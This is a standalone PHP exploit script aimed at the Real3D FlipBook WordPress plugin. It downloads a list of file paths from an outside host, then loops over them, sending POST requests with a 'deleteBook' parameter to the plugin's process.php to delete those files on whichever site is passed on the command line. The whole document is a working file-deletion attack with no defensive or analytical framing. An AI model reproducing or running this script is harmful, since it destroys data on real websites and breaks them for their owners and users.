flipBookExploit.php

<?php

$userAgent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13';
$shit = '/wp-content/plugins/real3d-flipbook/includes/process.php';
$filesOrder = json_decode(file_get_contents('http://makman.tk/wpFiles.json'), true);
//print_r($filesOrder['wpFiles'][0]);
$targetWebsite = (isset($argv[1]) ? $argv[1] : die());

for ($i=0; $i < count($filesOrder['wpFiles']) ; $i++) { 
        
        $post = [
        'deleteBook' => addslashes("{$filesOrder['wpFiles'][$i]}"),
        ];

        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $targetWebsite.$shit);
        curl_setopt($ch,CURLOPT_USERAGENT, $userAgent);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);

        // receive server response ...
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

        $server_output = curl_exec ($ch);

        echo $server_output.'Deleting '. $filesOrder['wpFiles'][$i]."\n";
        curl_close ($ch);

}




?>